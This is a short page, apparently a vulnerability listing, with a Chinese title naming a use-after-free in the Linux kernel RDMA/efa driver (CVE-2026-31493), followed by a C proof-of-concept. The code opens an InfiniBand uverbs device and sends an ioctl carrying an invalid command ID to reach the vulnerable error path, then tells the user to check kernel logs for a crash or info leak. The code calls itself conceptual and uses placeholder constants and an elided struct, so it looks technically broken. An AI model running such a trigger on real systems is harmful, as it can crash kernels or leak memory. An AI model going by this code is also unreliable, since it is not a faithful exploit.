CVE-2026-31493 Linux内核RDMA/efa释放后重用漏洞

/* * PoC for CVE-2026-31493 * This is a conceptual trigger for the EFA admin command error path. * Requires access to /dev/infiniband/uverbsX and specific hardware. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define EFA_CMD_ALLOC_PD 1 int main() { int fd; // Attempt to open the EFA device (path may vary) fd = open("/dev/infiniband/uverbs0", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("[+] Triggering Admin Queue Error to hit UAF path...\n"); // Craft an invalid command to force error handling in the driver // which leads to printing the freed context. // Note: Actual command structure depends on specific kernel headers. struct efa_admin_cmd { uint64_t id; // ... other fields ... } cmd = { .id = 0xFFFFFFFF }; // Invalid ID // Send ioctl to trigger the vulnerability // In a real scenario, this interacts with the RDMA CM if (ioctl(fd, EFA_CMD_ALLOC_PD, &cmd) < 0) { // Error is expected to trigger the vulnerable path perror("ioctl failed (expected)"); } close(fd); printf("[+] Check kernel logs for potential crash or info leak.\n"); return 0; }